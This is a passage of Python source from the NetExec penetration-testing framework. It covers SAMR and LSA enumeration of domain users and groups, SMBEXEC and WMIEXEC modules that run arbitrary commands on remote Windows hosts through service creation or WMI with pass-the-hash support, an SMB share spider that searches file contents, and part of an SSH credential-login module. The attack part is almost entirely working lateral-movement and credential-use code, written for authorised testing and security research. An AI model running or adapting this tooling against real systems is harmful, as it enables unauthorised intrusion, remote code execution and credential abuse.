self.__nthash, self.__aesKey, doKerberos=self.__kerberos, kdcHost=self.__kdcHost, ) def get_dce(self): rpc_transport = self.get_transport() rpc_transport.setRemoteHost(self.__remote_host) try: dce = rpc_transport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) except NetBIOSError as e: self.logger.error(f"NetBIOSError on Connection: {e}") return None except SessionError as e: self.logger.error(f"SessionError on Connection: {e}") return None return dce def get_server_handle(self): if self.dce: try: resp = samr.hSamrConnect(self.dce) except samr.DCERPCException as e: if "rpc_s_access_denied" in str(e): raise self.logger.debug(f"Error while connecting with Samr: {e}") return None return resp["ServerHandle"] else: self.logger.debug("Error creating Samr handle") def get_domains(self): """Calls the hSamrEnumerateDomainsInSamServer() method directly with list comprehension and extracts the "Name" value from each element in the "Buffer" list.""" domains = samr.hSamrEnumerateDomainsInSamServer(self.dce, self.server_handle)["Buffer"]["Buffer"] return [domain["Name"] for domain in domains] def get_domain_handle(self, domain_name): resp = samr.hSamrLookupDomainInSamServer(self.dce, self.server_handle, domain_name) resp = samr.hSamrOpenDomain(self.dce, serverHandle=self.server_handle, domainId=resp["DomainId"]) return resp["DomainHandle"] def get_domain_aliases(self, domain_handle, group=None): """Use a dictionary comprehension to generate the aliases dictionary. Calls the hSamrEnumerateAliasesInDomain() method directly in the dictionary comprehension and extracts the "Name" and "RelativeId" values from each element in the "Buffer" list """ aliases = {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]} if group: aliases = {name: rid for name, rid in aliases.items() if name == group} return aliases def get_alias_handle(self, domain_handle, alias_id): resp = samr.hSamrOpenAlias(self.dce, domain_handle, desiredAccess=MAXIMUM_ALLOWED, aliasId=alias_id) return resp["AliasHandle"] def get_alias_members(self, domain_handle, alias_id): """Calls the hSamrGetMembersInAlias() method directly with list comprehension and extracts the "SidPointer" value from each element in the "Sids" list.""" alias_handle = self.get_alias_handle(domain_handle, alias_id) return [member["SidPointer"].formatCanonical() for member in samr.hSamrGetMembersInAlias(self.dce, alias_handle)["Members"]["Sids"]] class LSAQuery: def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", lmhash="", nthash="", kdcHost="", aesKey="", kerberos=None, logger=None): self.__username = username self.__password = password self.__domain = domain self.__lmhash = lmhash self.__nthash = nthash self.__aesKey = aesKey self.__port = port self.__remote_name = remote_name self.__remote_host = remote_host self.__kdcHost = kdcHost self.__kerberos = kerberos self.dce = self.get_dce() self.policy_handle = self.get_policy_handle() self.logger = logger def get_transport(self): string_binding = f"ncacn_np:{self.__remote_name}[\\pipe\\lsarpc]" rpc_transport = transport.DCERPCTransportFactory(string_binding) rpc_transport.set_dport(self.__port) rpc_transport.setRemoteHost(self.__remote_host) if self.__kerberos: rpc_transport.set_kerberos(self.__kerberos, self.__kdcHost) if hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. rpc_transport.set_credentials( self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, ) return rpc_transport def get_dce(self): rpc_transport = self.get_transport() try: dce = rpc_transport.get_dce_rpc() if self.__kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() dce.bind(lsat.MSRPC_UUID_LSAT) except NetBIOSError as e: self.logger.fail(f"NetBIOSError on Connection: {e}") return None return dce def get_policy_handle(self): resp = lsad.hLsarOpenPolicy2(self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) return resp["PolicyHandle"] def lookup_sids(self, sids): """Use a list comprehension to generate the names list. It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list. """ return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]] NetExec-1.5.1/nxc/protocols/smb/samruser.py000066400000000000000000000172111514706431700206730ustar00rootroot00000000000000# Stolen from Impacket from impacket.dcerpc.v5 import transport, samr from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.nt_errors import STATUS_MORE_ENTRIES from datetime import datetime, timedelta class UserSamrDump: KNOWN_PROTOCOLS = { "139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139), "445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445), } def __init__(self, connection): self.logger = connection.logger self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.protocol = connection.args.port self.username = connection.username self.password = connection.password self.domain = connection.domain self.hash = connection.hash self.lmhash = "" self.nthash = "" self.aesKey = connection.aesKey self.doKerberos = connection.kerberos self.host = connection.host self.kdcHost = connection.kdcHost self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys() self.users = [] self.rpc_transport = None self.dce = None if self.hash is not None: if self.hash.find(":") != -1: self.lmhash, self.nthash = self.hash.split(":") else: self.nthash = self.hash if self.password is None: self.password = "" def dump(self, requested_users=None, dump_path=None): # Try all requested protocols until one works. for protocol in self.protocols: try: protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol] port = protodef[1] except KeyError: self.logger.debug(f"Invalid Protocol: {protocol}") self.logger.debug(f"Trying protocol {protocol}") self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host) try: self.fetch_users(requested_users, dump_path) break except Exception as e: self.logger.debug(f"Connection with protocol {protocol} failed: {e}") return self.users def fetch_users(self, requested_users, dump_path): self.dce = DCERPC_v5(self.rpc_transport) self.dce.connect() self.dce.bind(samr.MSRPC_UUID_SAMR) users = [] # Setup Connection resp = samr.hSamrConnect2(self.dce) if resp["ErrorCode"] != 0: raise Exception("Connect error") resp2 = samr.hSamrEnumerateDomainsInSamServer( self.dce, serverHandle=resp["ServerHandle"], enumerationContext=0, preferedMaximumLength=500, ) if resp2["ErrorCode"] != 0: raise Exception("Connect error") domain_name = resp2["Buffer"]["Buffer"][0]["Name"] resp3 = samr.hSamrLookupDomainInSamServer( self.dce, serverHandle=resp["ServerHandle"], name=domain_name, ) if resp3["ErrorCode"] != 0: raise Exception("Connect error") resp4 = samr.hSamrOpenDomain( self.dce, serverHandle=resp["ServerHandle"], desiredAccess=samr.MAXIMUM_ALLOWED, domainId=resp3["DomainId"], ) if resp4["ErrorCode"] != 0: raise Exception("Connect error") self.__domains = resp2["Buffer"]["Buffer"] domain_handle = resp4["DomainHandle"] # End Setup if requested_users: self.logger.debug(f"Looping through users requested and looking up their information: {requested_users}") try: names_lookup_resp = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, requested_users) rids = [r["Data"] for r in names_lookup_resp["RelativeIds"]["Element"]] self.logger.debug(f"Specific RIDs retrieved: {rids}") users = self.get_user_info(domain_handle, rids) except DCERPCException as e: self.logger.debug(f"Exception while requesting users in domain: {e}") if "STATUS_SOME_NOT_MAPPED" in str(e): # which user is not translated correctly isn't returned so we can't tell the user which is failing, which is very annoying self.logger.fail("One of the users requested does not exist in the domain, causing a critical failure during translation, re-check the users and try again") else: self.logger.fail(f"Error occurred when looking up users in domain: {e}") else: status = STATUS_MORE_ENTRIES enumerationContext = 0 while status == STATUS_MORE_ENTRIES: try: enumerate_users_resp = samr.hSamrEnumerateUsersInDomain(self.dce, domain_handle, enumerationContext=enumerationContext) except DCERPCException as e: if str(e).find("STATUS_MORE_ENTRIES") < 0: self.logger.fail("Error enumerating domain user(s)") break enumerate_users_resp = e.get_packet() rids = [r["RelativeId"] for r in enumerate_users_resp["Buffer"]["Buffer"]] self.logger.debug(f"Full domain RIDs retrieved: {rids}") users = self.get_user_info(domain_handle, rids) # set these for the while loop enumerationContext = enumerate_users_resp["EnumerationContext"] status = enumerate_users_resp["ErrorCode"] self.logger.display(f"Enumerated {len(users)} local users: {domain_name}") if dump_path: self.logger.display(f"Writing {len(users)} local users to {dump_path}") with open(dump_path, "w+") as file: file.writelines(f"{user}\n" for user in users) self.dce.disconnect() def get_user_info(self, domain_handle, user_ids): self.logger.debug(f"Getting user info for users: {user_ids}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") users = [] for user in user_ids: self.logger.debug(f"Calling hSamrOpenUser for RID {user}") open_user_resp = samr.hSamrOpenUser( self.dce, domain_handle, samr.MAXIMUM_ALLOWED, user ) info_user_resp = samr.hSamrQueryInformationUser2( self.dce, open_user_resp["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation )["Buffer"] user_info = info_user_resp["All"] user_name = user_info["UserName"] bad_pwd_count = user_info["BadPasswordCount"] user_description = user_info["AdminComment"] last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"]) if last_pw_set == "1601-01-01 00:00:00": last_pw_set = "" users.append(user_name) self.logger.highlight(f"{user_name:<30}{last_pw_set:<20}{bad_pwd_count:<8}{user_description} ") samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"]) return users def old_large_int_to_datetime(large_int): combined = (large_int["HighPart"] << 32) | large_int["LowPart"] timestamp_seconds = combined / 10**7 start_date = datetime(1601, 1, 1) return (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") NetExec-1.5.1/nxc/protocols/smb/smbexec.py000077500000000000000000000235651514706431700204740ustar00rootroot00000000000000import os from os.path import join as path_join from time import sleep from impacket.dcerpc.v5 import transport, scmr from nxc.helpers.misc import gen_random_string from nxc.paths import TMP_PATH from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE class SMBEXEC: def __init__(self, host, share_name, smbconnection, username="", password="", domain="", doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None): self.__host = host self.__share_name = share_name self.__port = port self.__username = username self.__password = password self.__serviceName = gen_random_string() self.__domain = domain self.__lmhash = "" self.__nthash = "" self.__share = share self.__smbconnection = smbconnection self.__output = None self.__batchFile = None self.__outputBuffer = b"" self.__shell = "%COMSPEC% /Q /c " self.__retOutput = False self.__rpctransport = None self.__scmr = None self.__aesKey = aesKey self.__doKerberos = doKerberos self.__remoteHost = remoteHost self.__kdcHost = kdcHost self.__tries = tries self.logger = logger if hashes is not None: # This checks to see if we didn't provide the LM Hash if hashes.find(":") != -1: self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: self.__password = "" stringbinding = f"ncacn_np:{self.__host}[\\pipe\\svcctl]" self.logger.debug(f"StringBinding {stringbinding}") self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.set_dport(self.__port) if hasattr(self.__rpctransport, "setRemoteHost"): self.__rpctransport.setRemoteHost(self.__remoteHost) if hasattr(self.__rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. self.__rpctransport.set_credentials( self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, ) self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.__scmr = self.__rpctransport.get_dce_rpc() if self.__doKerberos: self.__scmr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.__scmr.connect() s = self.__rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp["lpScHandle"] def execute(self, command, output=False): self.__retOutput = output if os.path.isfile(command): with open(command) as commands: for c in commands: self.execute_remote(c.strip()) else: self.execute_remote(command) self.finish() return self.__outputBuffer def output_callback(self, data): self.__outputBuffer += data def execute_remote(self, data): self.__output = gen_random_string(6) self.__batchFile = gen_random_string(6) + ".bat" command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file: batch_file.write(command) self.logger.debug("Hosting batch file with command: " + command) self.logger.debug("Command to execute: " + command) self.logger.debug(f"Remote service {self.__serviceName} created.") try: resp = scmr.hRCreateServiceW( self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START, ) service = resp["lpServiceHandle"] except Exception as e: if "rpc_s_access_denied" in str(e): self.logger.fail("SMBEXEC: Create services got blocked.") else: self.logger.fail(str(e)) return self.__outputBuffer try: self.logger.debug(f"Remote service {self.__serviceName} started.") scmr.hRStartServiceW(self.__scmr, service) except Exception: pass try: self.logger.debug(f"Remote service {self.__serviceName} deleted.") scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) except Exception: pass self.get_output_remote() def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = "" return tries = 1 while True: try: self.logger.info(f"Attempting to read {self.__share}\\{self.__output}") self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if tries >= self.__tries: self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") break if "STATUS_BAD_NETWORK_NAME" in str(e): self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") break elif "STATUS_VIRUS_INFECTED" in str(e): self.logger.fail("Command did not run because a virus was detected") break # When executing powershell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) if "STATUS_SHARING_VIOLATION" in str(e): self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) except Exception: pass def execute_fileless(self, data): self.__output = gen_random_string(6) self.__batchFile = gen_random_string(6) + ".bat" local_ip = self.__rpctransport.get_socket().getsockname()[0] command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file: batch_file.write(command) self.logger.debug("Hosting batch file with command: " + command) command = self.__shell + f"\\\\{local_ip}\\{self.__share_name}\\{self.__batchFile}" self.logger.debug("Command to execute: " + command) self.logger.debug(f"Remote service {self.__serviceName} created.") resp = scmr.hRCreateServiceW( self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START, ) service = resp["lpServiceHandle"] try: self.logger.debug(f"Remote service {self.__serviceName} started.") scmr.hRStartServiceW(self.__scmr, service) except Exception: pass self.logger.debug(f"Remote service {self.__serviceName} deleted.") scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output_fileless() def get_output_fileless(self): if not self.__retOutput: return while True: try: with open(path_join(TMP_PATH, self.__output), "rb") as output: self.output_callback(output.read()) break except OSError: sleep(2) def finish(self): # Just in case the service is still created try: self.__scmr = self.__rpctransport.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp["lpScHandle"] resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) service = resp["lpServiceHandle"] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) except Exception: pass NetExec-1.5.1/nxc/protocols/smb/smbspider.py000077500000000000000000000222601514706431700210250ustar00rootroot00000000000000from time import strftime, localtime from nxc.protocols.smb.remotefile import RemoteFile from impacket.smb3structs import FILE_READ_DATA from impacket.smbconnection import SessionError import re import traceback import contextlib class SMBSpider: def __init__(self, smbconnection, logger): self.smbconnection = smbconnection self.logger = logger self.share = None self.regex = [] self.pattern = [] self.folder = None self.exclude_dirs = [] self.onlyfiles = True self.content = False self.results = [] self.silent = False def spider( self, share, folder=".", pattern=None, regex=None, exclude_dirs=None, depth=None, content=False, onlyfiles=True, silent=False ): if exclude_dirs is None: exclude_dirs = [] if regex is None: regex = [] if pattern is None: pattern = [] if regex: try: self.regex = [re.compile(bytes(rx, "utf8")) for rx in regex] except Exception as e: self.logger.fail(f"Regex compilation error: {e}") self.folder = folder self.pattern = pattern self.exclude_dirs = exclude_dirs self.content = content self.onlyfiles = onlyfiles self.silent = silent if share == "*": self.logger.display("Enumerating shares for spidering") try: for share in self.smbconnection.listShares(): share_name = share["shi1_netname"][:-1] share["shi1_remark"][:-1] try: self.smbconnection.listPath(share_name, "*") self.share = share_name self.logger.display(f"Spidering share: {share_name}") self._spider(folder, depth) except SessionError: pass except Exception as e: self.logger.fail(f"Error enumerating shares: {e}") else: self.share = share if not self.silent: self.logger.display(f"Spidering {folder}") self._spider(folder, depth) return self.results def _spider(self, subfolder, depth): """""" if subfolder in ["", "."]: subfolder = "*" elif subfolder.startswith("*/"): subfolder = subfolder[2:] + "/*" else: subfolder = subfolder.replace("/*/", "/") + "/*" filelist = None try: filelist = self.smbconnection.listPath(self.share, subfolder) self.dir_list(filelist, subfolder) if depth == 0: return except SessionError as e: if not filelist: if "STATUS_ACCESS_DENIED" not in str(e): self.logger.debug(f"Failed listing files on share {self.share} in directory {subfolder}: {e}") return for result in filelist: # this can potentially be refactored if result.is_directory() and result.get_longname() not in [".", ".."]: if subfolder == "*": # noqa: SIM114 self._spider( subfolder.replace("*", "") + result.get_longname(), depth - 1 if depth else None, ) elif subfolder != "*" and (subfolder[:-2].split("/")[-1] not in self.exclude_dirs): self._spider( subfolder.replace("*", "") + result.get_longname(), depth - 1 if depth else None, ) return def dir_list(self, files, path): path = path.replace("*", "") for result in files: if self.pattern: for pattern in self.pattern: if bytes(result.get_longname().lower(), "utf8").find(bytes(pattern.lower(), "utf8")) != -1: if not self.onlyfiles and result.is_directory() and not self.silent: self.logger.highlight(f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]") elif not self.silent: self.logger.highlight( "//{}/{}/{}{} [lastm:'{}' size:{}]".format( self.smbconnection.getRemoteHost(), self.share, path, result.get_longname(), "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), result.get_filesize(), ) ) self.results.append(f"{path}{result.get_longname()}") if self.regex: for regex in self.regex: if regex.findall(bytes(result.get_longname(), "utf8")): if not self.onlyfiles and result.is_directory() and not self.silent: self.logger.highlight(f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]") elif not self.silent: self.logger.highlight( "//{}/{}/{}{} [lastm:'{}' size:{}]".format( self.smbconnection.getRemoteHost(), self.share, path, result.get_longname(), "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), result.get_filesize(), ) ) self.results.append(f"{path}{result.get_longname()}") if self.content and not result.is_directory(): self.search_content(path, result) def search_content(self, path, result): path = path.replace("*", "") try: rfile = RemoteFile( self.smbconnection, path + result.get_longname(), self.share, access=FILE_READ_DATA, ) rfile.open_file() while True: try: contents = rfile.read(4096) if not contents: break except SessionError as e: if "STATUS_END_OF_FILE" in str(e): break except Exception: traceback.print_exc() break if self.pattern: for pattern in self.pattern: if contents.lower().find(bytes(pattern.lower(), "utf8")) != -1: if not self.silent: self.logger.highlight( "//{}/{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format( self.smbconnection.getRemoteHost(), self.share, path, result.get_longname(), "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), result.get_filesize(), rfile.tell(), pattern, ) ) self.results.append(f"{path}{result.get_longname()}") if self.regex: for regex in self.regex: if regex.findall(contents): if not self.silent: self.logger.highlight( "//{}/{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format( self.smbconnection.getRemoteHost(), self.share, path, result.get_longname(), "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), result.get_filesize(), rfile.tell(), regex.pattern, ) ) self.results.append(f"{path}{result.get_longname()}") rfile.close() return except SessionError as e: if "STATUS_SHARING_VIOLATION" in str(e): pass except Exception: traceback.print_exc() def get_lastm_time(self, result_obj): with contextlib.suppress(Exception): return strftime("%Y-%m-%d %H:%M", localtime(result_obj.get_mtime_epoch())) NetExec-1.5.1/nxc/protocols/smb/wmiexec.py000077500000000000000000000171431514706431700205020ustar00rootroot00000000000000import ntpath import os from time import sleep from nxc.connection import dcom_FirewallChecker from nxc.helpers.misc import gen_random_string from nxc.paths import TMP_PATH from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL class WMIEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = "" self.__nthash = "" self.__share = share self.__timeout = timeout self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = b"" self.__share_name = share_name self.__shell = "cmd.exe /Q /c " self.__pwd = "C:\\" self.__aesKey = aesKey self.__kdcHost = kdcHost self.__remoteHost = remoteHost self.__doKerberos = doKerberos self.__retOutput = True self.__stringBinding = "" self.__tries = tries self.logger = logger if hashes is not None: # This checks to see if we didn't provide the LM Hash if hashes.find(":") != -1: self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: self.__password = "" self.__dcom = DCOMConnection( self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, remoteHost=self.__remoteHost, ) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout) if not flag or not self.__stringBinding: error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method' if not self.__stringBinding: error_msg = "WMIEXEC: Dcom initialization failed: can't get target stringbinding, maybe cause by IPv6 or any other issues, please check your target again" self.logger.fail(error_msg) if not flag else self.logger.debug(error_msg) # Make it force break function self.__dcom.disconnect() iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject("Win32_Process") def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) if os.path.isfile(command): with open(command) as commands: for c in commands: self.execute_handler(c.strip()) else: self.execute_handler(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote("cd " + s) if len(self.__outputBuffer.strip("\r\n")) > 0: self.__outputBuffer = b"" else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote("cd ") self.__pwd = self.__outputBuffer.strip("\r\n") self.__outputBuffer = b"" def output_callback(self, data): self.__outputBuffer += data def execute_handler(self, data): try: self.logger.debug("Executing remote") self.execute_remote(data) except Exception: self.cd("\\") self.execute_remote(data) def execute_remote(self, data): self.__output = "\\Windows\\Temp\\" + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += f" 1> {self.__output} 2>&1" self.logger.debug("Executing command: " + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote() def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] command = self.__shell + data + f" 1> \\\\{local_ip}\\{self.__share_name}\\{self.__output} 2>&1" self.logger.debug("Executing command: " + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless() def get_output_fileless(self): while True: try: with open(os.path.join(TMP_PATH, self.__output)) as output: self.output_callback(output.read()) break except OSError: sleep(2) def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = "" return tries = 1 # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing sleep(0.4) while True: try: self.logger.info(f"Attempting to read {self.__share}\\{self.__output}") self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if tries >= self.__tries: self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method") break elif "STATUS_BAD_NETWORK_NAME" in str(e): self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)") break elif "STATUS_VIRUS_INFECTED" in str(e): self.logger.fail("Command did not run because a virus was detected") break # When executing powershell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) elif "STATUS_SHARING_VIOLATION" in str(e): self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...") sleep(1) tries += 1 elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) except Exception: pass NetExec-1.5.1/nxc/protocols/ssh.py000066400000000000000000000401701514706431700170460ustar00rootroot00000000000000import paramiko import os import re import uuid import logging import time from nxc.config import process_secret from nxc.connection import connection, highlight from nxc.logger import NXCAdapter from paramiko.ssh_exception import ( AuthenticationException, NoValidConnectionsError, SSHException, ) class ssh(connection): def __init__(self, args, db, host): self.protocol = "SSH" self.remote_version = "Unknown SSH Version" self.server_os_platform = "Linux" self.shell_access = False self.admin_privs = False self.uac = "" super().__init__(args, db, host) def proto_flow(self): self.logger.debug("Kicking off proto_flow") self.proto_logger() if self.create_conn_obj(): self.enum_host_info() self.print_host_info() if self.remote_version == "Unknown SSH Version": self.conn.close() return if self.login(): if hasattr(self.args, "module") and self.args.module: self.load_modules() self.logger.debug("Calling modules") self.call_modules() else: self.logger.debug("Calling command arguments") self.call_cmd_args() self.conn.close() def proto_logger(self): logging.getLogger("paramiko").disabled = True logging.getLogger("paramiko.transport").disabled = True self.logger = NXCAdapter( extra={ "protocol": "SSH", "host": self.host, "port": self.port, "hostname": self.hostname, } ) def print_host_info(self): self.logger.display(self.remote_version if self.remote_version != "Unknown SSH Version" else f"{self.remote_version}, skipping...") def enum_host_info(self): if self.conn._transport.remote_version: self.remote_version = self.conn._transport.remote_version self.logger.debug(f"Remote version: {self.remote_version}") self.db.add_host(self.host, self.port, self.remote_version) def create_conn_obj(self): self.conn = paramiko.SSHClient() self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: self.conn.connect(self.host, port=self.port, timeout=self.args.ssh_timeout, look_for_keys=False, allow_agent=False) except AuthenticationException: return True except SSHException: return True except NoValidConnectionsError: return False except OSError: return False def plaintext_login(self, username, password, private_key=""): self.username = username self.password = password try: if self.args.key_file or private_key: self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") self.conn.connect( self.host, port=self.port, username=username, passphrase=password if password != "" else None, pkey=private_key, key_filename=self.args.key_file, timeout=self.args.ssh_timeout, look_for_keys=False, allow_agent=False, banner_timeout=self.args.ssh_timeout, ) # If we get the private key from the file, we need to load it into the database if self.args.key_file: with open(self.args.key_file) as f: private_key = f.read().rstrip("\n") cred_id = self.db.add_credential("key", username, password, key=private_key) else: self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}") self.conn.connect( self.host, port=self.port, username=username, password=password, timeout=self.args.ssh_timeout, look_for_keys=False, allow_agent=False, banner_timeout=self.args.ssh_timeout, ) cred_id = self.db.add_credential("plaintext", username, password) self.check_shell(cred_id) secret = process_secret(self.password) if not self.args.key_file else f"{process_secret(self.password)} (keyfile: {self.args.key_file})" display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if self.shell_access else ''}" self.logger.success(f"{self.username}:{process_secret(secret)} {self.mark_pwned()} {highlight(display_shell_access)}") return True except AuthenticationException as e: if "Private key file is encrypted" in str(e): self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}") else: self.logger.fail(f"{username}:{process_secret(password)}") except SSHException as e: if "Invalid key" in str(e): self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") elif "Error reading SSH protocol banner" in str(e): self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") else: self.logger.exception(e) except Exception as e: self.logger.exception(e) self.conn.close() return False def check_shell(self, cred_id): host_id = self.db.get_hosts(self.host)[0].id # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey # Check Linux stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore") if stdout: self.server_os_platform = "Linux" self.logger.debug(f"Linux detected for user: {stdout}") self.shell_access = True self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) self.check_linux_priv() if self.admin_privs: self.logger.debug(f"User {self.username} logged in successfully 